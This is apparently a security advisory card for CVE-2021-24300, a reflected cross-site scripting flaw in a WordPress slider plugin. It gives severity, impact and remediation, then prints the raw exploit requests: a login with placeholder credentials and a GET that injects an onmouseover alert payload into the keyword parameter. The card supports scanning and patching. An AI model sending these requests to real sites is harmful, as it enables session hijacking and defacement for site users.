| Title | WordPress WooCommerce <1.13.22 - Cross-Site Scripting |
|---|---|
| Author | cckuailong |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update WordPress WooCommerce plugin to version 1.13.22 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03405 |
| CVE ID | CVE-2021-24300 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss wp wordpress wp-plugin authenticated wpscan pickplugins vuln |
WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=YzUTuL&pwd=Ljm3R2&wp-submit=Log+In&testcookie=1
GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.20
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24300.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24300.pcap
N/AN/A